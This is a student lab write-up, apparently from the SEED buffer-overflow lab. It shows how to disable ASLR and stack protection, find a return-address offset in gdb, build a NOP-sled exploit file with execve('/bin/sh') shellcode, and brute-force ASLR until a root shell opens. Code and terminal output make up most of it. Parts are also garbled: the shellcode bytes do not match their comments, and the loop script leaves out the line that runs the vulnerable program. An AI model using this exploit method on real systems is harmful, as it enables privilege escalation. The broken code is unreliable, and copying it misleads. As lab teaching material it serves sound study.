

## Task 1: Running Shellcode

```
Terminal
[03/05/21]seed@VM:~/.../BufferOverflow$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/05/21]seed@VM:~/.../BufferOverflow$ which $SHELL
/bin/bash
[03/05/21]seed@VM:~/.../BufferOverflow$ ln -sf $SHELL /bin/sh
ln: cannot remove '/bin/sh': Permission denied
[03/05/21]seed@VM:~/.../BufferOverflow$ sudo ln -sf $SHELL /bin/sh
[03/05/21]seed@VM:~/.../BufferOverflow$ gcc -z execstack -o call_shellcode call_shellcode.c
[03/05/21]seed@VM:~/.../BufferOverflow$ sudo ./call_shellcode
sh-4.3#
```

What I observed:

- In this task, I observe that call\_shellcode is trying to execute the assembly instruction which can open /bin/sh.
- The shellcode is copied to the buffer using strcpy(buf, code);
- here is where the shellcode will be loaded to the stack.
- Then when buffer fetch by the Cpu, the shellcode get execute
- We need to put -z execstack to turn off stack guard since OS have mechanism to protect instruction from execution within the stack
- Shellcode is in assembly language, since we need the processor to directly load it from the stack memory, there are no compilation for our shellcode that why it must be in assembly format
- Since we using 32bit machine, each word in the shellcode need to be exactly 32bit in size
- Since we load the shellcode into the buffer using strcpy, the shellcode must eliminate any "\0" that may exists. This prevent strcpy from partially copy the shellcode to the buffer which will fail the attack

## Task 2

What we need to exploit buffer-overflow on stack.c:

1. Offset from the bottom of the stack to the address of ebp( stack frame)
2. Offset to the return address on the stack

Before we can calculate the address correctly we need to turn off the address randomization otherwise the starting our stack will be place randomly which make our job harder to determine the correct return address on the stack. We don't want to guess the address

```
[03/08/21]seed@VM:~/../BufferOverflow$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/08/21]seed@VM:~/../BufferOverflow$
```

Now, we can calculate the offset if we know the address of the ebp and the address of the buffer, then:

$$\text{offset} = \text{address of ebp} - \text{address of buffer}$$

- we can found the address of ebp and buffer after we compile stack with -g for debugging
- Use gdb to examine our stack, make a breakpoint at bof function

```
Terminal

[03/05/21]seed@VM:~/../BufferOverflow$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
[03/05/21]seed@VM:~/../BufferOverflow$ gdb -q stack_dbg
Reading symbols from stack_dbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 21.
gdb-peda$ r
Starting program: /home/seed/host/BufferOverflow/stack_dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
```

- 
- Now we can print out the address of ebp by using gdb command
  - o p %ebp

And the address of the buffer using command

- p &buffer

- Calculate the offset using command p/d %ebp - &buffer

```

Terminal
0x80484fb <bof+16>: call 0x8048390 <strcpy@plt>
-----stack-----
0000| 0xbfffeaa0 --> 0x804fa88 --> 0xfbad2488
0004| 0xbfffeaa4 --> 0xbfffeb57 --> 0x90909090
0008| 0xbfffeaa8 --> 0x205
0012| 0xbfffeaac --> 0xb7dc83c1 (<_fopen_internal+129>: add esp,0x10)
0016| 0xbfffeab0 --> 0xb7fff000 --> 0x23f3c
0020| 0xbfffeab4 --> 0x804825c --> 0x62696c00 ('')
0024| 0xbfffeab8 --> 0x8048620 --> 0x61620072 ('r')
0028| 0xbfffeabc --> 0xb7dc88f7 (<_GI_IO_fread+119>: add esp,0x10)
-----
Legend: code, data, rodata, value

Breakpoint 1, bof (
    str=0xbfffeb57 '\220' <repeats 78 times>, "\277\377\220" '\220' <repeats 117
times>...) at stack.c:21
21      strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeaf8
gdb-peda$ p &buffer
$2 = (char *) [67] 0xbfffeaad
gdb-peda$ p/d 0xbfffeaf8 - 0xbfffeaad
$3 = 75
gdb-peda$

```

Then, having the offset we can now calculate the offset to the return address by add 4 byte (32bit address of ebp) to the offset. In this case the return address = 75(offset) + 4 = 79

Writing exploit code:

- Put our shellcode at the end of the buffer
- We know our return address is in 0xbfffeaf8(\$ebp) + 4 but we don't want the program to just return to the first intended address. We need to trick our program to jump to another place by putting some random address(ideally toward our shellcode but it must be before the the starting address of our shellcode) in the return address. I'm using 0xbfffeaf8(\$ebp) + 120
- Put 0xbfffeaf8(\$ebp) + 120 (4 bit) into the buffer at offset 79 which is our return address.

```

"\x68"
"/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x90" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x08" /* int $0x08 */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    int shellCodeStartIndex = sizeof(buffer) - sizeof(shellcode);
    memcpy(&buffer[shellCodeStartIndex], shellcode, sizeof(shellcode));

    int ret = 0xbfffeaf8 + 120; //0xbfffeae8 + 150;
    memcpy(&buffer[79], &ret, sizeof(ret));

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

```

Execute the vulnerability code.

- We need to put -z execstack to turn off stack guard since OS have mechanism to protect instruction from execution within the stack

```

Terminal
In file included from exploit.c:6:0:
/usr/include/string.h:42:14: note: expected 'const void * restrict' but argument
is of type 'char'
extern void *memcpy (void *__restrict __dest, const void *__restrict __src,

[03/06/21]seed@VM:~/.../BufferOverflow$ gcc -o exploit exploit.c
exploit.c: In function 'main':
exploit.c:35:16: warning: overflow in implicit constant conversion [-Woverflow]
    char ret = 0xbfffeaf8 + 120; //0xbfffeae8 + 150;
                   ^
[03/06/21]seed@VM:~/.../BufferOverflow$ gcc -o exploit exploit.c
exploit.c: In function 'main':
exploit.c:35:17: warning: initialization makes pointer from integer without a ca
st [-Wint-conversion]
    char *ret = 0xbfffeaf8 + 120; //0xbfffeae8 + 150;
                   ^
[03/06/21]seed@VM:~/.../BufferOverflow$ gcc -o exploit exploit.c
[03/06/21]seed@VM:~/.../BufferOverflow$ ./exploit
[03/06/21]seed@VM:~/.../BufferOverflow$ gcc -z execstack -fno-stack-protector -o
stack stack.c -g
[03/06/21]seed@VM:~/.../BufferOverflow$ ./stack
sh-4.3$ ^C
sh-4.3$ 

```

- Notice that we don't gain root access because sh sublink to dash shell which drops the privileges when it detect if the real uid and the effective uid is not match
- We can solve this by link sh to another shell program. In this case, I point it to zsh shell

```

[03/08/21]seed@VM:~/.../BufferOverflow$ ls -la /bin/sh
lrwxrwxrwx 1 root root 9 Mar  8 14:40 /bin/sh -> /bin/dash
[03/08/21]seed@VM:~/.../BufferOverflow$ sudo ln -sf /bin/zsh /bin/sh
[03/08/21]seed@VM:~/.../BufferOverflow$ 

```

## TASK 4

Since the purpose of this task is to use brute force to execute our vulnerability program until it is finally exploited.

We will leave our exploit code as is as task 2. But turn on the stack randomization and run the vulnerability code in in the while loop

```
[03/08/21]seed@VM:~/.../BufferOverflow$ vi defeat_randomize
[03/08/21]seed@VM:~/.../BufferOverflow$ vi defeat_randomize
[03/08/21]seed@VM:~/.../BufferOverflow$ mv defeat_randomize.sh
mv: trying destination file operand after 'defeat_randomize.sh'
Try 'mv --help' for more information.
[03/08/21]seed@VM:~/.../BufferOverflow$ mv defeat_randomize defeat_randomize.sh
[03/08/21]seed@VM:~/.../BufferOverflow$
```

```
[03/08/21]seed@VM:~/.../BufferOverflow$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[03/08/21]seed@VM:~/.../BufferOverflow$
```

```
# ./bin/bash
SECONDS=0
value=0
while [ 1 ]
do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$((duration / 60))
    sec=$((duration % 60))
    echo "Sleep minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
done
```

With the stack randomization turn on, every time we execute a program, the OS will try to place starting address of the program randomly on the stack (heap as well). So It is really hard if we try to predict the address required for our attack. Since, in 32 bit system, we have 19 bit for stack and 13 bit for heap. Guessing the address with  $2^{19}$  possibility could also be done but we are heading to another direction.

Using only fix address that we already set up in task 2, we can run the vulnerability program indefinitely. The OS will shuffle the starting address of program, meaning every time our program get executed, our program will get new starting address on the stack. What we are trying to do is waiting until the OS place our program to the address that we have defined in the exploit code.

```

The program has been running 2352 times so far.
./default_randomize.sh: Line 13: 5620 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2363 times so far.
./default_randomize.sh: Line 13: 5629 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2364 times so far.
./default_randomize.sh: Line 13: 5630 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2365 times so far.
./default_randomize.sh: Line 13: 5631 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2366 times so far.
./default_randomize.sh: Line 13: 5632 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2367 times so far.
./default_randomize.sh: Line 13: 5633 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2368 times so far.
./default_randomize.sh: Line 13: 5634 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2369 times so far.
./default_randomize.sh: Line 13: 5635 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2370 times so far.
./default_randomize.sh: Line 13: 5636 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2371 times so far.
./default_randomize.sh: Line 13: 5637 Segmentation fault
1 minutes and 0 seconds elapsed.

The program has been running 2372 times so far.

```

```

The program has been running 46323 times so far.
./deafeat_randomize.sh: line 13: 17711 Segmentation fault
19 minutes and 21 seconds elapsed.

The program has been running 46324 times so far.
./deafeat_randomize.sh: line 13: 17712 Segmentation fault
19 minutes and 21 seconds elapsed.

The program has been running 46325 times so far.
./deafeat_randomize.sh: line 13: 17713 Segmentation fault
19 minutes and 21 seconds elapsed.

The program has been running 46326 times so far.
./deafeat_randomize.sh: line 13: 17714 Segmentation fault
19 minutes and 21 seconds elapsed.

The program has been running 46327 times so far.
./deafeat_randomize.sh: line 13: 17715 Segmentation fault
19 minutes and 21 seconds elapsed.

The program has been running 46328 times so far.
./deafeat_randomize.sh: line 13: 17716 Segmentation fault
19 minutes and 21 seconds elapsed.

The program has been running 46329 times so far.
./deafeat_randomize.sh: line 13: 17717 Segmentation fault
19 minutes and 22 seconds elapsed.

The program has been running 46330 times so far.
./deafeat_randomize.sh: line 13: 17718 Segmentation fault
19 minutes and 22 seconds elapsed.

The program has been running 46331 times so far.
./deafeat_randomize.sh: line 13: 17719 Segmentation fault
19 minutes and 22 seconds elapsed.

The program has been running 46332 times so far.
./deafeat_randomize.sh: line 13: 17720 Segmentation fault
19 minutes and 22 seconds elapsed.

The program has been running 46333 times so far.
$ ; 3-1

```

What I observed:

- we get segmentation fault on every time the ./stack get executed, except for the last time.
  - o This is because our address that we put into the buffer is incorrect. It tried to access some where else which it isn't allowed to go into. we will always get seg fault in this case.
- After roughly 19 minute and 46333 trial, our program exploited. This is because our address defined matches the address on the stack
- 46333 total trial but only 17720 times that we get segmentation fault
  - o This maybe because our defined address has landed to somewhere that we allow to go to ( ideally not kernel space address )

After using Ctrl+d to terminated the shell, the program still keep running.

```
538 minutes and 38 seconds elapsed.  
The program has been running 46351 times so far.  
$  
538 minutes and 39 seconds elapsed.  
The program has been running 46352 times so far.  
$  
538 minutes and 40 seconds elapsed.  
The program has been running 46353 times so far.  
$  
538 minutes and 41 seconds elapsed.  
The program has been running 46354 times so far.  
$  
538 minutes and 41 seconds elapsed.  
The program has been running 46355 times so far.  
$  
538 minutes and 42 seconds elapsed.  
The program has been running 46356 times so far.  
$ exit  
538 minutes and 46 seconds elapsed.  
The program has been running 46357 times so far.  
$  
$  
$ exit  
538 minutes and 53 seconds elapsed.  
The program has been running 46358 times so far.  
$  
542 minutes and 52 seconds elapsed.  
The program has been running 46359 times so far.  
$  
542 minutes and 53 seconds elapsed.  
The program has been running 46360 times so far.  
$
```